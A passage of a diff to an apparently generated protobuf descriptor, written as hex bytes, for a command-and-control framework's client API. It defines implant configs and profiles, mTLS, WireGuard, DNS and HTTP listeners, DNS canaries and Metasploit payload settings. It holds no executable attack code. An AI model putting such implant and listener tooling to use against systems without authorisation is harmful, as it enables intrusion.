0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x47, - 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, - 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, - 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, 0x4a, - 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, - 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, - 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, - 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, - 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, - 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, - 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, - 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, 0x06, - 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, - 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, - 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, - 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, - 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x59, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x9d, 0x01, 0x0a, 0x0d, 0x57, 0x47, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, - 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, - 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, - 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, - 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, - 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57, 0x47, 0x4c, 0x69, 0x73, + 0x73, 0x22, 0x7e, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, + 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x75, 0x6c, + 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x75, 0x6c, + 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, + 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, + 0x74, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x51, 0x75, 0x61, 0x6c, 0x69, 0x74, + 0x79, 0x22, 0xce, 0x01, 0x0a, 0x12, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, + 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x07, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x73, 0x12, 0x14, 0x0a, 0x05, + 0x41, 0x72, 0x63, 0x68, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x41, 0x72, 0x63, + 0x68, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x04, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, + 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x36, 0x0a, 0x08, 0x50, 0x61, + 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, + 0x69, 0x74, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x52, 0x08, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, + 0x64, 0x73, 0x22, 0x1f, 0x0a, 0x09, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, + 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x54, + 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, + 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x69, 0x72, + 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x65, + 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, 0x54, 0x72, 0x69, 0x67, 0x67, + 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x61, 0x74, 0x65, 0x73, 0x74, + 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x3b, 0x0a, + 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, + 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, + 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x22, 0x1c, 0x0a, 0x0a, 0x55, 0x6e, + 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x50, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x50, 0x22, 0x55, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2f, + 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, + 0x47, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x73, 0x12, 0x34, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x08, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x22, 0x31, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x03, + 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, + 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, + 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, + 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, + 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, + 0x61, 0x69, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, + 0x69, 0x6e, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x04, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x25, 0x0a, + 0x06, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x06, 0x41, 0x63, + 0x74, 0x69, 0x76, 0x65, 0x22, 0x1c, 0x0a, 0x0a, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, + 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, + 0x49, 0x44, 0x22, 0x33, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x0e, 0x0a, + 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x18, 0x0a, + 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, + 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x59, 0x0a, 0x0f, 0x4d, 0x54, 0x4c, 0x53, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, + 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x74, 0x22, 0x24, 0x0a, 0x0c, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x9d, 0x01, 0x0a, 0x0d, 0x57, 0x47, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, + 0x73, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x50, 0x6f, 0x72, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, + 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x07, 0x4b, 0x65, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, + 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x22, 0x0a, 0x0a, 0x57, 0x47, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xae, 0x01, 0x0a, + 0x0e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, + 0x18, 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, + 0x61, 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, + 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, + 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x22, 0x23, 0x0a, + 0x0b, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, + 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, + 0x49, 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, + 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, + 0x4b, 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, + 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, + 0x4d, 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, + 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, + 0x54, 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, + 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, + 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, + 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 